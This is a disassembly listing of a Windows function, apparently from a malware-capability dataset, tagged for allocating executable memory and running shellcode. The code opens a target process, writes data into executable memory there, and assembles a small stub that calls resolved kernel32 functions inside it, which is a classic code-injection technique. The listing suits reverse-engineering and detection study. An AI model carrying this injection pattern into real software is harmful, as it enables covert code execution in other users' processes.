Function at 0x404290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
push 0
push 0x1fffff
mov dword [ebp - 0x44], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x404370
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
push dword [ebp + 0x1c]
push 0
push ebx
call edi
mov esi, eax
mov dword [ebp - 0x2c], esi
test esi, esi
je 0x404369
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
push 0
push dword [ebp + 0x1c]
cmova eax, dword [ebp + 0xc]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404312
push 0x8000
push dword [ebp + 0x1c]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x404369
push 0x40
push 0x1000
push dword [ebp + 0x34]
push 0
push ebx
call edi
mov edi, eax
mov dword [ebp - 0x30], edi
test edi, edi
je 0x404300
cmp dword [ebp + 0x38], 0xf
lea eax, [ebp + 0x24]
push 0
push dword [ebp + 0x34]
cmova eax, dword [ebp + 0x24]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4043f0
push 0x8000
push dword [ebp + 0x1c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call esi
push 0x8000
push dword [ebp + 0x34]
push edi
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or esi, 0xffffffff
mov ecx, dword [ebp + 0x20]
cmp ecx, 0xf
jbe 0x4043a7
mov edx, dword [ebp + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40439d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4045dd
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp + 0x38]
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 0xf
mov byte [ebp + 0xc], 0
cmp ecx, 0xf
jbe 0x4045c8
mov edx, dword [ebp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4045be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4045dd
jmp 0x4045be
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x43fbd4
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x43fbe8
push str.kernel32.dll
mov dword [ebp - 0x3c], eax
call edi
push eax
call esi
push 0x40
push 0x1000
push 4
push 0
push ebx
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, eax
mov dword [ebp - 0x34], edx
test edx, edx
jne 0x40445f
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push dword [ebp + 0x1c]
push dword [ebp - 0x2c]
push ebx
call esi
push 0x8000
push dword [ebp + 0x34]
push dword [ebp - 0x30]
jmp 0x404366
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x25], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x24], al
mov eax, ecx
sar eax, 0x18
mov byte [ebp - 0x23], al
mov byte [ebp - 0x26], cl
mov ecx, dword [ebp - 0x3c]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x20], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x21], cl
sar ecx, 0x18
mov byte [ebp - 0x1e], cl
mov ecx, dword [ebp - 0x30]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x19], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x18], al
mov eax, ecx
sar eax, 0x18
mov byte [ebp - 0x17], al
mov byte [ebp - 0x1a], cl
mov ecx, dword [ebp - 0x40]
mov eax, ecx
sar eax, 8
mov byte [ebp - 0x13], al
mov eax, ecx
sar eax, 0x10
mov byte [ebp - 0x12], al
mov eax, edx
sar eax, 8
mov byte [ebp - 0xc], al
mov eax, edx
sar eax, 0x10
mov byte [ebp - 0xb], al
mov eax, edx
sar eax, 0x18
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x28]
push 0x21
push eax
push dword [ebp - 0x44]
mov byte [ebp - 0x14], cl
sar ecx, 0x18
mov word [ebp - 0x28], 0x6860
mov byte [ebp - 0x22], 0xb9
mov word [ebp - 0x1d], 0xd1ff
mov byte [ebp - 0x1b], 0x68
mov word [ebp - 0x16], 0xb950
mov byte [ebp - 0x11], cl
mov word [ebp - 0x10], 0xd1ff
mov byte [ebp - 0xe], 0xa3
mov byte [ebp - 0xd], dl
mov word [ebp - 9], 0xc361
call fcn.00404180
cmp eax, 0xffffffff
jne 0x40455d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push dword [ebp + 0x1c]
push dword [ebp - 0x2c]
push ebx
call esi
push 0x8000
push dword [ebp + 0x34]
push dword [ebp - 0x30]
push ebx
call esi
mov edi, dword [ebp - 0x34]
push 0x8000
push dword [ebp + 0x34]
jmp 0x404365
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x38]
push 0
push 4
push eax
push edi
push ebx
mov dword [ebp - 0x38], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push dword [ebp + 0x1c]
push dword [ebp - 0x2c]
push ebx
test eax, eax
jne 0x40459f
call esi
push 0x8000
push dword [ebp + 0x34]
push dword [ebp - 0x30]
jmp 0x40435a
call esi
push 0x8000
push dword [ebp + 0x34]
push dword [ebp - 0x30]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x38]
jmp 0x404373
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004137fd
mov esp, ebp
pop ebp
ret 0x34
call fcn.00419665
int3